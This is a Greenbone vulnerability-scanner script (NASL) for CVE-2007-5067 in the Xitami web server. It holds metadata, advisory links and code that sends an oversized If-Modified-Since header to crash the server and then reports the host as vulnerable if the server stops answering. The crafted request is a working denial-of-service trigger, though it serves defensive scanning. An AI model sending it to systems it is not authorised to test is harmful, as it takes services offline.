Xitami Web Server If-Modified-Since Buffer Overflow Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802025");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-06-13 15:28:04 +0200 (Mon, 13 Jun 2011)");
  script_cve_id("CVE-2007-5067");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Xitami Web Server If-Modified-Since Buffer Overflow Vulnerability");

  script_xref(name:"URL", value:"http://secunia.com/advisories/26884/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/25772");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/36756");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/4450");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17361");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17359");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("secpod_xitami_server_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("xitami/detected");

  script_tag(name:"impact", value:"Successful exploitation will let the remote unauthenticated
  attackers to execute arbitrary code on the system or cause the application to crash.");

  script_tag(name:"affected", value:"iMatix Xitami Web Server Version 2.5c2 and 2.5b4, Other versions
  may also be affected.");

  script_tag(name:"insight", value:"The flaw is caused the way xitami web server handles
  'If-Modified-Since' header. which can be exploited to cause a buffer overflow by
  sending a specially-crafted parameter to 'If-Modified-Since' header.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Xitami Web Server is prone to a buffer overflow vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

CPE = "cpe:/a:imatix:xitami";

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE)) exit(0);
get_app_location(cpe:CPE, port:port);

useragent = http_get_user_agent();
host = http_host_name(port:port);

craftedReq = string("GET / HTTP/1.1\r\n",
                    "Host: ", host, "\r\n",
                    "User-Agent: ", useragent, "\r\n",
                    "If-Modified-Since: ! ", crap(data:'A', length:500),
                    "\r\n\r\n");

res = http_send_recv(port:port, data:craftedReq);

sleep(1);

req = http_get(item:"/", port:port);
res = http_keepalive_send_recv(port:port, data:req);
if("Server: Xitami" >!< res) {
  security_message(port:port);
  exit(0);
}

exit(99);